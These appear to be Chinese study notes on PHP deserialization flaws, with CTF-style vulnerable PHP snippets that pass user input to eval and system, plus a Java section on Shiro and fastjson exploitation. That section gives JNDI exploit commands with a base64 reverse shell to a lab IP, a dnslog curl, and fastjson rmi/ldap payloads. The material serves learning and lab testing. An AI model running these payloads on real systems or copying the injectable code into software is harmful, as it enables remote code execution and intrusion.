php反序列化
1.什么是序列化和反序列化
office word是程序
doc/docx是数据
保存word文件:程序--保存(序列化)-->数据文件
打开word文件:程序--加载数据文件-->还原(反序列化)
游戏存档:角色等级,任务,人物坐标,背包里面的物品......
保存存档:序列化,加密(设备id),数据文件
还原存档:读取数据文件,解密(设备id),反序列化
2.类和对象
php面向过程(简单): 上传文件(1.判断文件类型 2.判断文件大小 3.判断上传的目录是否存在 4.文件名处理 5.文件上传)
php面向对象(复杂): 类(植物类)--模板 向日葵的子类 new对象(实例化)
植物大战僵尸:
植物: 消耗阳光数量 能否攻击 子弹伤害和射速 防御值
子弹类: 外观 动画效果 速度 伤害
僵尸类:普通僵尸 铁桶僵尸
3.php反序列化原理:
反序列化漏洞原理:序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
4.php中常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
代码案例
class 小狗 { public $名字; public $颜色; // 这就是构造函数 初始化函数public function __construct($名字, $颜色) { $this->名字 = $名字; $this->颜色 = $颜色; echo "一只名叫" . $this->名字 . "、颜色是" . $this->颜色 . "的小狗诞生了!"; echo "<hr>";} //序列化的时候执行public function __sleep(){echo "要睡觉了";echo "<hr>";return array($this->名字,$this->颜色);}//反序列化的时候执行public function __wakeup(){echo "被打醒了";echo "<hr>";}//被当作字符串的时候执行public function __toString(){return '旺财';} //销毁函数public function __destruct(){echo "我还会回来的";echo "<hr>";}public function 叫() { echo "汪汪汪!"; echo "<hr>";}
} // 创建一个新的小狗对象
// $我的小狗 = new 小狗("旺财", "棕色"); // echo serialize($我的小狗);
$a='O:6:"小狗":2:{s:6:"旺财";N;s:6:"棕色";R:2;}';
$b=unserialize($a);
// 调用小狗的“叫”方法
$b->叫();echo $b;
echo "<hr>";
5.php反序列化例题讲解
例题1:
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{public $a = 'echo "this is test!!";';public function displayVar() {eval($this->a);}
}$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;?>
例题2:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {var $cmd = "echo 'dazhuang666!!';" ;public function __destruct(){eval ($this->cmd);}
}
$ser = $_GET["benben"];
unserialize($ser);?>
例题3:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {const SITE = 'uusama';public $username;public $nickname;private $password;public function __construct($username, $nickname, $password) {$this->username = $username;$this->nickname = $nickname;$this->password = $password;}public function __sleep() {system($this->username);}
}
$cmd = $_GET['benben'];
$user = new User($cmd, 'b', 'c');
echo serialize($user);
?>
例题4:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {const SITE = 'uusama';public $username;public $nickname;private $password;private $order;public function __wakeup() {system($this->username);}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>
6.PHP访问权限修饰符Public、Protected、private
7.php反序列化wakeup绕过
案例1:
<?php
//error_reporting(0);
class secret{var $file='index.php';public function __construct($file){$this->file=$file;}function __destruct(){include_once($this->file);echo $flag;}function __wakeup(){$this->file='index.php';}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){highlight_file(__FILE__);
}
else{unserialize($cmd);
}
//sercet in flag.php
?>
8.php反序列化调用链
案例:
<?phphighlight_file(__FILE__);error_reporting(E_ALL & ~E_NOTICE);class A{public $a;public function __destruct(){$this->function_a();}public function function_a(){$this->a->close();}} class B{public $exp;function close(){eval($this->exp);}}$cmd = $_GET['666'];$cmd_unserialize = unserialize($cmd);
?>
java反序列化漏洞
shiro反序列化
Vulhub - Open-Source Vulnerable Docker Environments
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
fastjson反序列化
工具1:
java的反弹shell用棱角社区生成
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5LjM5LzgwMDAgMD4mMQ==}|{base64,-d}|
{bash,-i}'
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl
http://vvvv.k6ph1u.dnslog.cn'
burp发送payload
请求头修改多媒体类型
Content-Type: application/json
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.19.39:1099/nig6hq","autoCommit":true}
}
工具二:
显示用法
java -jar JNDIExploit-2.0-SNAPSHOT.jar --ip 192.168.19.39 -u
burp发送payload
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.19.39:1389/Basic/Command/Base64/Y3VybCAgaHR0cDo
vL2JiYmJiYmJiLnAwaTh0cS5kbnNsb2cuY24=","autoCommit":true}
}